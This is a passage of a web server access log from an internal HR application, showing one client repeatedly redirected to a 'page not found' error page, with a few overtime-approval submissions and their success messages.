302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:39:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:39:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:02 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:02 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132736%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132736&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132736%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132736&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:05 +0800] "GET 